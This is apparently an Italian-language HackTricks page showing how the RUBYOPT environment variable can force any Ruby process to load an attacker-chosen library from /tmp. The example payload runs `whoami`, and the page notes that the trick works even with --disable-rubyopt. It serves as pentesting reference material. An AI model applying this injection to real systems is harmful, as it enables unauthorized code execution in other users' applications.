macOS Ruby Applications Injection

Reading time: 2 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

RUBYOPT

Utilizzando questa variabile di ambiente è possibile aggiungere nuovi parametri a ruby ogni volta che viene eseguito. Anche se il parametro -e non può essere utilizzato per specificare il codice ruby da eseguire, è possibile utilizzare i parametri -I e -r per aggiungere una nuova cartella al percorso delle librerie da caricare e poi specificare una libreria da caricare.

Crea la libreria inject.rb in /tmp:

inject.rb
puts `whoami`

Crea ovunque uno script ruby come:

hello.rb
puts 'Hello, World!'

Poi fai caricare un arbitrario script ruby con:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fatto divertente, funziona anche con il parametro --disable-rubyopt:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks